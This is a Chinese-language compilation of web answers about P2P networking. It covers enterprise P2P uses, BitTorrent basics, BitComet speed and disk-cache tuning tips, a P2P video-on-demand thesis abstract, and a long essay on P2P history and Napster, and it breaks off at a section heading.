(4) 其他需考慮的有如何設置中心伺服器,如何控制網路規模等。

2. P2P技術與現有互聯網技術比較

目前互聯網主要技術模式是S/C方式,此方式要在互聯網上設置擁有強大處理能力和大帶寬的高性能計算機,配合高檔的伺服器軟體,再將大量的數據集中存放在上面,並且要安裝多樣化的服務軟體,在集中處理數據的同時可以對互聯網上其他PC進行服務,提供或接收數據,提供處理能力及其他應用。對於一台與伺服器聯機並接受服務的PC機來說,這台PC機就是客戶機,其性能可以相對弱小。而P2P技術的特徵之一就是弱化了伺服器的作用,甚至取消伺服器,任意兩台PC互為伺服器,同時又是客戶機,即對等。右面是P2P與S/C方式的一些比較:

S/C方式造成互聯網路上的集中,無論信息資源還是成本資源均向同一方向集中,這樣的模式符合一對多、強對弱的社會關系形式,如政府對個人、對企業,大企業對小企業,學校對學生,企業對職工等等關系。所以S/C方式是符合市場需求的。P2P方式將導致信息數量、成本資源都向互聯網各點均勻分布,也就是所謂「邊緣化「的趨勢。此模式符合「一對一」的特點,以及彼此相當的社會關系形式,如個人對個人,規模相當的企業之間,等等,這也是符合市場需求的(如ICQ)。所以這兩種方式會共存,有關P2P即將替代S/C模式的說法是不成立的。P2P有其獨特的市場空間,是現有互聯網應用的補充,這一點應該是毫無疑問的。

3. P2P技術特性

(1) 既是S又是C,如何表現取決於用戶的要求,網路應用由使用者自由驅動。

(2) 信息在網路設備間直接流動,高速及時,降低中轉服務成本。

(3) 構成網路設備互動的基礎和應用。

(4) 在使網路信息分散化的同時,相同特性的P2P設備可以構成存在於互聯網這張大網中的子網,使信息按新方式又一次集中。

企業應用

應用P2P技術的互聯網產品正在迅速開辟出一塊新的互聯網應用市場,例如ICQ類的即時信息工具不僅創立了一個巨大市場,而且正在多方向地向外擴展,比如在移動通信市場,ICQ產品的多信息格式(文字、語言的支持)和即時性,可以為常規通信增加信息內容(文字、圖片)和通信對象(網上ICQ用戶)。

另一方面,ICQ的使用也會使部分用戶放棄Email,侵蝕Email市場。Napster類的文件共享型P2P產品開拓出網上文件傳播的新途徑,用戶不僅可以進行搜索和下載這樣的操作,同時也可以方便地將自己的文件提供給其他用戶,做到了基本的雙向交流。

由於P2P技術方案不同於S/C方式的特性,可以在許多方面彌補S/C方式的不足,P2P產品將建立互聯網上的一種新的應用模式,這時用戶不僅在PC裝有瀏覽器,而且還有數種P2P軟體來實現新的互聯網應用。

比如一個計算機配件經銷商可以通過Email或瀏覽器(如果對方也通過P2P技術發布信息,則也可以用P2P軟體)得到其上游廠家最新推出的產品信息及價格,研究了這些信息,並落實訂貨事宜之後,啟動P2P軟體,將新的產品及售價發布到重要客戶的P2P聯絡站上,其中一個未上網的用戶通過手機也知道了這消息。不久,經銷商將收到客戶的在線詢問,而經銷商在線回答問題的同時又將一個驅動程序傳給了這個客戶。這一切的操作均是通過互聯網,而對象是廠家人員或客戶,而非其網站或郵箱,這樣就真正利用互聯網做到了面對面的交流,更加接近現實社會的人際交流習慣。

1. 企業P2P互聯網應用的幾個側重

(1) 企業協同

企業協同包括兩大方面,一是企業內部的員工與員工、部門與部門、員工與部門之間的協同,無論部門及員工處在何種地理位置,只要擁有網路,雙方存在信息溝通的要求,就可以利用P2P軟體協調雙方的行為。信息的種類及行為目的可以是多種多樣的,如日程安排、通知發布、單據的審批、文件傳閱和分發、方案的評比(表決)、計劃協調等等這些可以通過電子文件表達的信息均可以通過軟體來表達,並以此將使用者聯系在一起。P2P應用更適用這當中更多需要用戶交互的部分,如計劃協調、日程安排等。二是企業與企業之間的行為協同,這種協同的互動的多樣性和復雜性要高於企業內部的協同。從簡單的會議日程安排、公文往來,到報價、詢價訂貨系統、訂單跟蹤、電子化交易。

(2) 企業門戶

新型企業門戶不再簡單地以一個網站來實現,它不但綜合了為企業內部員工或部門的服務,還可以為企業夥伴及用戶服務,同時也是企業管理者了解企業運行狀態,調控企業運行的管理工具。企業各個部分的運行情況均可以通過它傳遞給允許接觸到相關信息的使用者。管理者可以通過門戶掌握企業的動態,調控企業的運行,直達下級領導建立溝通。而企業內部的員工與企業外部的夥伴或客戶均可通過這一平台找到相關的人(工作人員),建立起這樣那樣的信息交流通道,實現不同的協作目標。這將綜合S/C技術和P2P技術,P2P部分將實現信息定向推送,實時溝通和數據互動。

(3) P2P群集和VPN

構建於互聯網之上的P2P應用不再簡單地限於兩個點,完全可以擴展到多點的群集,形成互聯網中的一個虛擬的子網,構成一個精簡的VPN。這樣一來,通過相對簡單的,僅僅是對P2P用戶端軟體的操作,用戶就可以主動地選擇不同的VPN並加入,同時也就使得了不同的VPN同時存在於互聯網之中。個性化、專業化同時又是開放(基於互聯網)的VPN的出現,使信息的集中和流動更接近現實社會的信息流動方式,更易於為人們所接受。比如喜愛音樂的人們建立了自己的音樂VPN,擅長編程的設計師可以建立自己的程序員VPN,而對於企業,行業化、渠道化的組織終於有了一個在互聯網上安家的便捷途徑。可以預計,行業化的目錄服務、信息服務將通過此方式迅速涌現,為企業電子商務打下一個良好基礎。

(4) 人機遠程互動和機機互動

遠程監控和調試已經運用在許多工業場合,甚至也出現了一些通過網站方式運行的方案,但網站方式在速度和交互性方面的缺陷使得用戶無法接受。P2P方案為這方面的應用開辟了新的天地,利用它,一個鍋爐廠商可以通過互聯網幫助其客戶調控其鍋爐的運行狀態,而我們也可以在回家的路上用手機將家中的空調提前打開。

(5) 寬頻網及無線移動網應用

當帶寬達到數據流要求的容量,如實時音頻、實時視頻,人們期待已久的多種網路應用就會呈現在面前。而特別能滿足交互需要的P2P技術更有一塊施展的天地,電話會議、視頻會議、遠程教育、培訓、安裝調試等等都將為企業帶來P2P技術的新應用。實際上ICQ作為P2P技術已經開始應用在手機簡訊上。

2. 企業P2P互聯網應用的市場特點

(1) 構成企業B2B電子商務內容的一部分。

(2) 促進建立新的互聯網數據交換標准和數據安全模式。

(3) 引起新一代互聯網的應用,可以建立起底層結構平台。

(4) 具有領域化的市場分割—與前一時期的互聯網熱有相同的出發點,將建立起相關行業的群落。

(5) 有較明確的贏利模式。由於P2P產品不再像S/C方式那樣客戶僅使用瀏覽器,而是使用特質的客戶端軟體,同時軟體的使用需廠家的直接支持,用戶對購買軟體或繳納使用費很容易理解。

(6) 向後產品和技術可以整合進入企業內部信息管理市場,向前可以進入企業外部電子商務市場。

3. 估計的產品形式

(1) 底層基礎開發平台及專項應用軟體。

(2) 軟體工程。為企業量身定做。

(3) 軟體服務。將軟體功能租給企業使用及信息服務。
參考資料:http://www.huihoo.com/p2p/p2p_2.html

⑸ 什麼是BT下載軟體

itTorrent(簡稱BT,俗稱BT下載、變態下載)是一個多點下載的源碼公開的P2P軟體,使用非常方便,就像一個瀏覽器插件,很適合新發布的熱門下載。其特點簡單的說就是:下載的人越多,速度越快。 BitTorrent 下載工具軟體可以說是一個最新概念 P2P 的下載工具、它採用了多點對多點的原理,一般簡稱 BT(BitTorrent) 也就是大家所說的變態下載。該軟體相當的特殊,一般我們下載檔案或軟體,大都由 HTTP 站點或FTP 站台下載,若同時間下載人數多時,基於該伺服器頻寬的因素,速度會減慢許多,而該軟體卻不同,恰巧相反,同時間下載的人數越多你下載的速度便越快,因為它採用了多點對多點的傳輸原理。
參考資料:http://www.skycn.com/soft/13308.html

這樣才能真正提高BitComet下載速度
[ Date: 2005-11-02 12:01:51 AM | Author: Lemon.Hun | From: Internet | | ]
這樣才能真正提高BitComet下載速度
來源於:Internet
1:下載軟體的設置
1. 運行 BitComet 0.60 ,打開自己的 BitComet 的 " 選項 " 一欄,點擊第一欄 " 網路連接 "。
全局最大下載速度 無限制 調整到 1000(2M 以下用戶 1000 是個不可達到的數字,所以可行 ) 。
全局最大上傳速度 無限制 調整到 40 ( 根據個人情況合理選擇,這是我的建議數 ) 。
監聽埠 建議不要和 6881-6889 16881-16889 重復,個人感覺 19770-22000 之間比較好。
( 當然你映射了埠,那麼就以你映射的監聽埠為准,不需改動 ) ,裝了防火牆的用戶在你的防火牆裡面打開你的監聽埠。
2. 點擊任務設置,目前此項裡面的參數暫時保持不變,在後來的調整中需要用到其中的"每任務最大上傳速度"
3. 點擊界面外觀
最多顯示 peer 數量 改到 1000
4. 點擊高級設置
如果多少分鍾之內不能連接則添加備用 Tracker:30改到0備用 Tracker 列表
5. 點擊網路連接
每任務最大連接數:改到 1000 。
每任務保持連接數:改到 50 。
全局保證上傳連接數:改到 10 。
連接發起間隔: 改到 150 或 100 。
最大同時嘗試的 TCP 連接個數: 改到 1000 。
是否允許通過 UDP 實現內網互連:內網設定"允許" 公網設定"禁止"。
6. 點擊 IP 規則
下載任務每 IP 最大允許連接數 : 改到 20
上傳任務每 IP 最大允許連接數 : 改到 5
內網的用戶把"允許向伺服器報告內網 IP 便於子網內連接"打上鉤
7. 點擊磁碟緩存
256M 內存配置
磁碟緩存最小值: 6M
磁碟緩存最大值: 30M
減小磁碟緩存當空閑物理內存低於: 50M
在最大最小值范圍內自動調整緩存大小上打上鉤。
2:下載過程的參數調整
熱門種子:
1. 進行完上面的設置,請您下載一個熱門種子 ( 種子數超過 20 ,用戶連接數超過 200) ,單獨開始這一個下載。
2. 下載時您可以看見連接的種子和用戶在不斷增加,上傳下載速度緩慢增加,等速度達到您平時正常下載速度的 1/2 ,連接數大於 50 ,種子數 1 個以上時 ( 大約需要 5-10 分鍾 ) ,點擊"任務設置"把"每任務最大上傳速度"改到 10-20 之間一個數,繼續下載。
3. 2 分鍾後,如果你的速度起來了,並且起伏不大相對穩定,請保持。如果你的速度沒有起來,可以用以下 2 種辦法:
a. 把每任務最大上傳繼續以每次 2K 的速度調小;
b.a 不起作用說明你的調整時間不對,把"每任務最大上傳速度"恢復到"無限制"過段時間再調小它。
冷門種子
冷門種子在您進行調小"每任務最大上傳速度"時可能效果不大,如果有效果,請保持。無效果,就不要設置"每任務最大上傳速度"或者設高點比如 25-30 。
3頁:注意事項及調節經驗
注意事項
1. 想知道自己是內網還是外網的看自己的 IP , 10.x.x.x , 192.168.x.x 都是內網,看不見遠程的基本也是內網。
2. 外網用戶如果 BitComet0.06 下載效果不理想可以試用 BC 以前版本或者貪婪 abc 、比特精靈等。
3. 限制上傳的朋友下載完畢後,強烈要求取消全局上傳限製做種 3 個小時以上。
4. 熱門種子下載時,盡量只下載一個文件,這樣才讓你享受到 BitComet 的飛速快感。
5. 上傳參數的選取,要依據自己的網路情況,仔細調整,如果我說的參數不適合您,請您自己多琢磨,仔細進行微調。
調節經驗:
一個任務開始下載幾分鍾以後,就把上面第 5 點方法的"每任務保持連接數"由" 1000 "改為"自動調整",全局最大下載速度再改回"無限制",一會你就會發現, BT 的速度明顯比調節前快了 ( 我的現在一般是 170-180K, 比以前快了近 50K ! ) ;如果變化不大,再在兩個辦法之間來回設置一下。

修改系統設置 減少BT下載對硬碟的損耗

關於如何解決BT下載損耗硬碟這個問題,有人提出修改硬碟的CACHE,方法如下:
1、設大硬碟Cache

BT會多線程地下載和上傳,很多數據吞吐,Windows默認只有512KB的Cache顯然不夠,如果內存在256MB以上,開大一些Cache應該可以減少硬碟讀寫,提高性能。一般設在8-16MB效果最好。我設到32MB,開4個BT硬碟燈都不怎麼閃。
a) 運行 "regedit";
b)去[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\IoPageLockLimit];
c) 根據你的內存修改其十六進制值:
8000為32MB,4000為16MB,其他數字按此計算。
補充計算轉換方法如下:
1MB = 1024K,
10MB = 10240K
= 2800(16進制)
= 2*16^3 + 8*16^2 + 0*16^1 + 0*16^0 = 10240k (十進制)
d) 重啟
如果沒有找到IoPageLockLimit,就要新建,類型為DWord。
2、降低運行優先順序
BT比較佔用資源,啟動後,可能會對整個系統的性能造成一定的影響。如果你是用2K/XP,可以利用任務管理器把所有的BT軟體的優先順序降低,這樣即使它佔用資源,也不會影響其它應用程序的性能,因為它搶占資源的優先順序不夠高,降低對系統的影響。
有人說,操作系統是win2k或winxp的話,使用BT下載的情況會好些,因為這兩種操作系統會幫你在BT寫入硬碟數據時自動升高CACHE,從而減輕(但不是避免)硬碟的損傷。
個人覺得,BT可以繼續使用,但不要一次性開太多的下載或上傳的窗口,1到3個就行了。還有在BT運行時,去任務管理器把它的優先權調到低於標准。

⑹ 什麼是P2P

P2P是peer-to-peer的縮寫,peer在英語里有"(地位、能力等)同等者"、"同事"和"夥伴"等意義。這樣一來,P2P也就可以理解為"夥伴對夥伴"的意思,或稱為對等聯網。目前人們認為其在加強網路上人的交流、文件交換、分布計算等方面大有前途.
簡單的說,P2P直接將人們聯系起來,讓人們通過互聯網直接交互。P2P使得網路上的溝通變得容易、更直接共享和交互,真正地消除中間商。P2P就是人可以直接連接到其他用戶的計算機、交換文件,而不是像過去那樣連接到伺服器去瀏覽與下載。P2P另一個重要特點是改變互聯網現在的以大網站為中心的狀態、重返"非中心化",並把權力交還給用戶。 P2P看起來似乎很新,但是正如B2C、B2B是將現實世界中很平常的東西移植到互聯網上一樣,P2P並不是什麼新東西。在現實生活中我們每天都按照P2P模式面對面地或者通過電話交流和溝通。
即使從網路看,P2P也不是新概念,P2P是互聯網整體架構的基礎。互聯網最基本的協議TCP/IP並沒有客戶機和伺服器的概念,所有的設備都是通訊的平等的一端。在十年之前,所有的互聯網上的系統都同時具有伺服器和客戶機的功能。當然,後來發展的那些架構在TCP/IP之上的軟體的確採用了客戶機/伺服器的結構:瀏覽器和Web伺服器,郵件客戶端和郵件伺服器。但是,對於伺服器來說,它們之間仍然是對等聯網的。以email為例,互聯網上並沒有一個巨大的、唯一的郵件伺服器來處理所有的email,而是對等聯網的郵件伺服器相互協作把email傳送到相應的伺服器上去。另外用戶之間email則一直對等的聯絡渠道。
事實上,網路上現有的許多服務可以歸入P2P的行列。即時訊息系統譬如ICQ、AOL Instant Messenger、Yahoo Pager、微軟的MSN Messenger以及國內的OICQ是最流行的P2P應用。它們允許用戶互相溝通和交換信息、交換文件。用戶之間的信息交流不是直接的,需要有位於中心的伺服器來協調。但這些系統並沒有諸如搜索這種對於大量信息共享非常重要的功能,這個特徵的缺乏可能正為什麼即時訊息出現很久但是並沒有能夠產生如Napster這樣的影響的原因之一。

⑺ 不是直接暴露在外網中的兩台電腦能否真正實現p2p連接

當然可以了,你需要找到兩邊伺服器的工作原理,比如是nat還是什麼別的

⑻ P2P計算技術畢業設計範文

基於P2P的視頻點播系統

摘要:隨著流媒體應用在Internet上的流行,傳統C/S模式的流媒體服務系統已經不能滿足流媒體對伺服器性能和高帶寬的要求,嚴重阻礙了流媒體業務質量的提高和容量的擴大。隨著個人PC機性能的增強,Peer-to-peer模型得到了廣泛的應用。Peer-to-peer模型通過有效利用網路的帶寬、存儲能力和計算資源,提供了一個持久性的存儲基礎結構。本文介紹了一種基於P2P網路平台上新的流媒體播放技術,它將P2P網路技術和流媒體技術結合起來,充分利用客戶計算機的資源,減輕流媒體伺服器和網路負載,突破了傳統的流媒體播放系統帶寬瓶頸,能夠保持節目流完整而流暢地播放.本人採用 VC 6.0以面向對象方法開發了」PPVOD」視頻點播系統。系統提供了一套在區域網、城域網和廣域網內並發地隨時隨地點播視頻文件的解決方案。系統運用了客戶端的拉技術、MPEG的軟體解碼技術、基於DirectShow COM組件的流媒體回放技術、TCP實時傳輸協議,創造性地實現了視頻點播系統,是一種性價比良好的流媒體服務技術。

關鍵詞:P2P;流媒體;C/S模式;數據傳輸樹

A VOD System Based on P2P Technology

Abstract: With the popularity of the streaming media, the traditional C/S service system is unable to satisfy the requirement of server and bandwidth. And this weakness terribly hinders the improvement of streaming media』s quality and the enlargement of the capacity. With PC ability enhancing, Peer-to-peer model has been used widely. Peer-to-peer systems are positioned to take advantage of gains in network bandwidth, storage capacity, and computational resources to provide long-term rable storage infrastructures. A new streaming media technology based on P2P networks is introced in this paper. The technology is combined P2P networks technology with streaming media technology, which make good use of the recourses of client computer and rece the load of streaming media and network. At the same time, the new technology overcomes hand width limitation of traditional stream media player system. So the video streams might be played fully and smoothly. The PPVOD System is developed by VC6.0 using object-oriented method, which provides a solution for being video on demand file any time any where in LAN、MAN and WAN. It applys data-pulled technology, the MPEG decode technology, the media-playback technology Based on DirectShow COM, and puts to use TCP protocol. Therefore, it』s an excellent streaming media service technology.

Key words: P2P; streaming media; C/S mode; data transfers tree

⑼ p2p的原理

P2P軟體是基於P2P技術工作的

1、什麼是p2p

P2P是一種技術,但更多的是一種思想,有著改變整個互聯網基礎的潛能的思想。

(1)p2p的概念

P2P是peer-to-peer的縮寫,peer在英語里有「(地位、能力等)同等者」、「同事」和「夥伴」等意義。這樣一來,P2P也就可以理解為「夥伴對夥伴」的意思,或稱為對等聯網。目前人們認為其在加強網路上人的交流、文件交換、分布計算等方面大有前途。

簡單的說,P2P直接將人們聯系起來,讓人們通過互聯網直接交互。P2P使得網路上的溝通變得容易、更直接共享和交互,真正地消除中間商。P2P就是人可以直接連接到其他用戶的計算機、交換文件,而不是像過去那樣連接到伺服器去瀏覽與下載。P2P另一個重要特點是改變互聯網現在的以大網站為中心的狀態、重返「非中心化」,並把權力交還給用戶。 P2P看起來似乎很新,但是正如B2C、B2B是將現實世界中很平常的東西移植到互聯網上一樣,P2P並不是什麼新東西。在現實生活中我們每天都按照P2P模式面對面地或者通過電話交流和溝通。

即使從網路看,P2P也不是新概念,P2P是互聯網整體架構的基礎。互聯網最基本的協議TCP/IP並沒有客戶機和伺服器的概念,所有的設備都是通訊的平等的一端。在十年之前,所有的互聯網上的系統都同時具有伺服器和客戶機的功能。當然,後來發展的那些架構在TCP/IP之上的軟體的確採用了客戶機/伺服器的結構:瀏覽器和Web伺服器,郵件客戶端和郵件伺服器。但是,對於伺服器來說,它們之間仍然是對等聯網的。以email為例,互聯網上並沒有一個巨大的、唯一的郵件伺服器來處理所有的email,而是對等聯網的郵件伺服器相互協作把email傳送到相應的伺服器上去。另外用戶之間email則一直對等的聯絡渠道。 當然但是過去的5年裡,互聯網的發展至少從表面上遠離了P2P,互聯網上絕大部分的節點也不能和其他節點直接地交流。Napster正是喚醒了深藏在互聯網背後的對等聯網。Napster的文件共享功能在區域網中共享目錄也是再平常不過的事情。但是Napster的成功促使人們認識到把這種「對等聯網」拓展到整個互聯網范圍的可能性。當然,在許多人的眼中,Napster並不是純粹的P2P,它仍然需要一個處於中心協調機制。

事實上,網路上現有的許多服務可以歸入P2P的行列。即時訊息系統譬如ICQ、AOL Instant Messenger、Yahoo Pager、微軟的MSN Messenger以及國內的OICQ是最流行的P2P應用。它們允許用戶互相溝通和交換信息、交換文件。用戶之間的信息交流不是直接的,需要有位於中心的伺服器來協調。但這些系統並沒有諸如搜索這種對於大量信息共享非常重要的功能,這個特徵的缺乏可能正 是為什麼即時訊息出現很久但是並沒有能夠產生如Napster這樣的影響的原因之一。

另外一個可以歸入P2P是拍賣網站譬如eBay,人們在總結eBay的模式的時候用了C2C,是不是和P2P有一點類似?eBay就是一個將人們聯系的和交易物品的社區,用戶可以方便的搜索其他用戶叫賣的商品。eBay提供了一些使得交易得以順利進行的服務,但是交易是直接在用戶之間進行的。如果將「交易」的概念推廣,C2C就是P2P的一個特例,這里人們互相交換的是商品。

但如果仔細深究的話,Napster和即時訊息在賦予用戶之間直接交流的能力、eBay使用戶可以直接交易的同時,卻破壞了伺服器端的那種自互聯網出現之初就存在的對等聯網思想,因為它們都需要有一個位於中心的伺服器來協調,而不是分布在世界上不同地方的、對等聯網的許多伺服器。這也正是諸如Gnutella和Freenet不斷的宣稱它們創造了「純粹」的P2P,完全沒有中心伺服器的P2P服務。

(2)p2p的思想溯源:回到互聯網的本質

如果回顧一下,我們會發現在WWW出現伊始P2P就是互聯網的本質特徵之一。人們各自建立網頁、互相做鏈接,人們上網是沿著鏈接沖浪。那時的web是真正的「網」(web)。但是當Yahoo!和Lycos建立了搜索引擎和門戶站點後,人們上網的方式被改變了,人們從此到一個地方去獲取所有的信息。記得_blank">新浪曾經有一段時間說它們是「目標站點」模式,但是如果多問一句,現在人們一條一條地閱讀_blank">新浪的新聞,在頭腦中還有一個「網」的概念嗎?最大的問題是,這些站點控制了信息的流動、充斥了過時的信息、阻礙了真正的交流,或者對於很多人來說,另外還有太多的廣告。 P2P就是把控制權重新還到用戶手中去。人們通過P2P可以共享硬碟上的文件、目錄甚至整個硬碟。這種能量是非常令人激動的,那些費心存儲在自己的硬碟上的東西肯定是我們認為最有價值,所有人都共享了他們認為最有價值的東西,這將使互聯網上信息的價值得到極大的提升。是不是有一種和WWW剛剛出現的時候同樣的激動呢?有一點。

因為每個Peer都代表了其後的人,基於自組織的網上社區也正在顯現。與門戶站點從上而下建立社區的方式不同,人們將以自發的方式形成社區。

當人們加入P2P網路的時候,所有人都擁有了平等的機會,所有人都擁有了極容易地在網路上創造「內容」的機會。當然,真正在網路上創造或提供內容的人還是少數的,據統計Gnutella的用戶中僅僅有2%向其他用戶提供了內容,即使在比較活躍的Usenet張貼文章的用戶也僅占所有用戶的7%。但是,P2P第一次使得所有上網的人都擁有了平等的機會。

下面試圖用三句話來揭示P2P的影響:

對等聯網:是只讀的網路的終結(Peer-to-peer is the end of the read-only Web)

對等聯網:使你重新參與互聯網(Peer-to-peer allows you to participate in the Internet again)

對等聯網:使網路遠離電視(Peer-to-peer steering the Internet away from TV)如上文所言,P2P不是一個新思想,從某些角度看它甚至是整個最初創建互聯網的最基本的思想。我們不妨花時間作一點回顧。

互聯網的發展於近現代的許多尖端科學技術的發展模式並無不同,即都是先在軍事工業形成,再轉到民用領域。互聯網發源於至今看來也十分新穎的戰略思想:為了避免敵人的毀滅性武器命中全國的軍事指揮控制中心,應該怎麼辦?傳統的方法是一方面想方設法盡可能地不讓敵人知道中心的確切位置,另一方面提高中心的抵禦打擊的能力。

但在當今的核武器年代,對方有著連一個星球都可以炸毀的核彈,再固若金湯的防禦措施一旦受到攻擊肯定馬上化為烏有。而只要有機密存在,總有打探出機密的方法,所以靠保密中心所在位置的方法也不是長遠之計。在這種情況下,美國的軍事人員充分發揮逆向思維,想到既然不可能長期、有效地保護中心免受攻擊,那麼還不如根本不設中心!

讓每一個基地乃至每一台電腦都能獨立運作,這么一來等於有了無數中心,敵人除非真的將這個星球炸了,否則其中一個基地或電腦受損,也不影響其他基地或電腦繼續發揮作用。正是這種「非中心化」的思想成為形成互聯網最基本的概念。

但是許多技術出現之後往往並不會完全按照原先的設計發展,伺服器/客戶機的架構逐漸變成了互聯網的主流,瀏覽變成了人們在互聯網上最主要的生存方式。互聯網的普通用戶似乎在慢慢的退化、和電視觀眾一樣被動地瀏覽著大網站們創造的內容。

人們在網路上的主要活動訪問了在這么門戶站點上,讀新聞、參與討論組、聊天。但是這使得設計的互聯網的一個特性消失了——如果Yahoo因故中斷服務如出現什麼情況?這種假設不太容易看到,但是年初的黑客攻擊各大網站造成的混亂似乎可以給我們一點聯想的線索。

上面提到像Napster和即時訊息還是需要位於中心的伺服器,那麼Gnutella網站上的一句話可能表達了它們所推廣的「純粹」的P2P所包含的「非中心化」的理念:設計Gnutella是為了在核戰中生存(Gnutella Is Designed to Survive Nuclear War)。

它的網站上這樣描述,紐約的用戶受到攻擊至多隻會影響那個地區的部分用戶,而其他地方的Gnutella用戶還能正常的使用,這不正是互聯網最初的理想嗎?

(3)Napster帶來的革命

Napster是去年當時由只有18歲的肖恩·范寧(Shawn Fanning)開發的,它提供服務允許音樂迷們交流MP3文件。它與先前也被推上被告席的提供免費音樂下載MP3.com的不同就是在Napster伺服器沒有一首歌曲,Napster提供了一個新的軟體供音樂迷在自己的硬碟上共享歌曲文件,搜索其他用戶共享的歌曲文件,並到其他也使用Napster服務的用戶硬碟上去下載歌曲。Napster在短時間里吸引了5000萬用戶,最終,它被五大唱片商以侵犯版權推上被告席而成為世界的焦點。

可能從來沒有一個行業象唱片業這樣,生存會因為一個小小的軟體而受到如此深重的威脅。對於Napster引起的版權問題有過很多的討論,但是多花一些時間討論還是值得的,因為這個案件決定了也決定了P2P文件共享這一分支的前途,也決定了未來如何處理互聯網上的版權問題。

10月31日原告之一BMG公司和Napster達成和解協議。輿論認為這表明唱片業意識到通過數字方式發布音樂將是不可阻擋的潮流,消滅Napster也無法阻止其他模仿Napster的服務商出現。因此還不如與之合作改變Napster,將之變成在線音樂銷售的渠道。現在的唱片工業面臨的可能不是如何「像壓碎一個雞蛋」那樣壓碎,而是與之合作,將Napster的5000萬用戶變成自己的客戶。也就是將Napster的模式變成「合法化的Napster」模式。唱片工業的困境是如何防止那些Napster的模仿者繼續免費提供歌曲。

2000年2月12日,美國舊金山第九巡迴上訴法院的三名法官就音樂網站Napster版權糾紛案作出裁決,認為它侵害了各大唱片公司的版權。但是三名法官並沒有應唱片公司的要求,決定立即關閉網站,而是把最初的判決送回給低一級的地方法院。法官們說,這項裁決內容過於復雜,需作進一步澄清。但錯綜復雜的法律過程和長達58頁的判決書反映了現在既缺乏與互聯網相關的版權法,也缺乏相應的司法實踐。

但是,不管Napster案的結果如何都不能改變Napster後面的技術和思想給互聯網帶來的影響。「魔鬼」已經鑽出了魔瓶,而魔瓶也已經被打破了。對於唱片界來說,至少它們銷售唱片的方式被徹底改變了。下一個可能是好萊塢的電影工業,壓縮技術和寬頻網路將使得人們會在網路上輕易地傳輸整部電影。

事實上合法化的網路上已經出現了許多試圖推出「合法化的Napster」模式的公司,譬如由Napster的創辦人之一創辦的lightshare.com和Flycode.com。P2P對於唱片商來說的確有吸引力,如果它們能夠從用戶身上收費的話。對於利用諸如一個集中的站點提供收費的mp3音樂下載,用戶每次從網站下載的時候,網站都必須向電信交流量費,而使用P2P則使得這部分費用不再存在了。因此唱片商獲得更多的利潤,用戶也應該可以得到更便宜的音樂。

從某種意義上軟體也好像預測到了大規模盜版和文件共享可能帶來的影響,這主要歸功於開放源碼軟體給軟體業帶來的「頭腦風暴」。在亞洲和東歐,軟體業已經在反對盜版上打了敗仗。這也正是微軟極力推廣一種「軟體注冊模式」,把軟體作為按月付費的服務出售,而不再是向過去那樣出售容易復制和盜版的硬拷貝。

當然,對所謂「合法化的Napster」模式還是有很多質疑。P2P的這種文件共享功能似乎沒有帶來什麼附加值,盡管這個過程可能是非常有趣的。從另一方面來說,這項技術可能被用來推動人們重新參與互聯網、創造他們自己的內容,這也許是價值所在。所有的社區網站都有一個「夢想」,讓用戶互動來產生內容,但是由於由上而下創建的社區的最根本上的問題,這種夢想從來沒有真正實現過。P2P或許可以改變這一點。

Napster創造的奇跡同時也是揭示了在互聯網時代普通人也具有改變整個世界的能力。當肖恩·范寧在波士頓的東北大學校園開發Napster的時候,他只不過是想和他在維吉尼亞的朋友共享mp3歌曲文件。現在這個小軟體改變了整個世界。

(4)p2p改變了什麼?內容轉移到「邊緣」

在回顧了Napster了問題和困境之後,下面將看看P2P的更多激動人心的東西和消除圍繞這個新詞的種種誤解,以及看看P2P的機會主要在哪兒。

P2P帶來的一個變化就是改變了「內容」所在的位置,內容正在從「中心」走向「邊緣」,也就是說內容將主要不是存在幾個主要的伺服器上,而是存在所有用戶的個人電腦上。

Napster的成功使我們不得不去質疑流傳已久的兩個斷言,「應用服務提供商(ASP)是未來趨勢」和「個人電腦死了」。ASP的一個基本假設就是對於大多數客戶來說購買和維護高性能的伺服器的成本太高了,但是P2P使得每個人辦公桌上的電腦都可以成為「伺服器」。用戶原來是用台式電腦准備好數據之後再把數據上載到伺服器上去,而使用P2P將不再需要這個過程。「個人電腦死了」這個斷言就是個人電腦將主要用來瀏覽互聯網、字處理等,因此最簡單的瘦客戶機就可以滿足需求。P2P使得個人電腦再一次成為「中心」。P2P使得個人電腦重新煥發活力、不再是被動的客戶端,而成為具有伺服器和客戶端的特徵的設備,個人電腦將重新成為互聯網的中心。

互聯網的存儲模式將由現在的「內容位於中心」模式轉變為「內容位於邊緣」模式。從這個角度看P2P帶來了幾個改變:

首先,客戶不再需要將文件上載到伺服器,而只需要使用P2P將共享信息提供出去;

其次運行P2P的個人電腦不需要固定IP地址和永久的互聯網連接,這使得那些撥號上網的用戶也可以享受P2P帶來的變革,這部分用戶在所有用戶中佔有極大的比重;

最後,P2P完全改變過去控制互聯網的客戶機/伺服器模式,消除客戶機和伺服器二者之間的差別。

上文對Napster所遭遇的法律問題有很多討論,但是換個角度來闡述,盜版問題往往也正顯示存在大量未能滿足的需求。Napster的驚人成功(這里指吸引大量用戶而不是獲得利潤)是一種難得的對P2P的概念上可行性的證明,揭示了P2P改變互聯網的潛力。直通桌面的寬頻網路逐漸成為現實、個人電腦越來越強大足以勝任「伺服器」功能也從另外的方面確保P2P發揮其能量。

個人電腦取代位於中心的伺服器成為內容的主要存儲地將對互聯網的幾個主要發展方向有著意義深遠的影響:這可能改變Windows和Linux幾年的「戰爭」的局面,當「桌面」和伺服器逐漸融合,微軟可能會極力推廣其基於Windows2000的Web服務和「內容處於邊緣」(內容處於桌面)模式,從而可能破壞Linux在伺服器市場上存在的基礎。

提供免費個人主頁服務的公司存在的一個理由就是目前互聯網使得普通用戶很難擁有自己的伺服器放置自己的內容。可以預言類似Napster的服務將會出現供人們在自己的個人電腦上發布主頁和內容。

WAP等移動服務協議目前還主要關注讓人們去使用處於中心的商業服務如新聞、股票信息等。但更多的時候人們最需要的信息是那些在他們的個人電腦上的信息,P2P使這成為可能。人們可以通過無線聯網P2P訪問他們的個人電腦,這也就是一些公司所宣傳的個人化P2P(Personal P2P)的「無線版本」。

當然,這也不是說使用P2P的個人電腦可以取代伺服器,那些安全的備份和需要專家來不斷更新的數據還將存在於位於中心的伺服器上。 可以這樣看待P2P帶來的轉變,「內容位於中心」模式較好的適應了互聯網初期的情況,個人電腦性能太差因而需要有專門的伺服器、帶寬太窄使得個人電腦不得不退化到被動瀏覽。寬頻互聯網、更穩定的更高性能的個人電腦使得我們有理由預言下一個5年將是由「內容位於邊緣」模式主導。

(5)重新解讀P2P

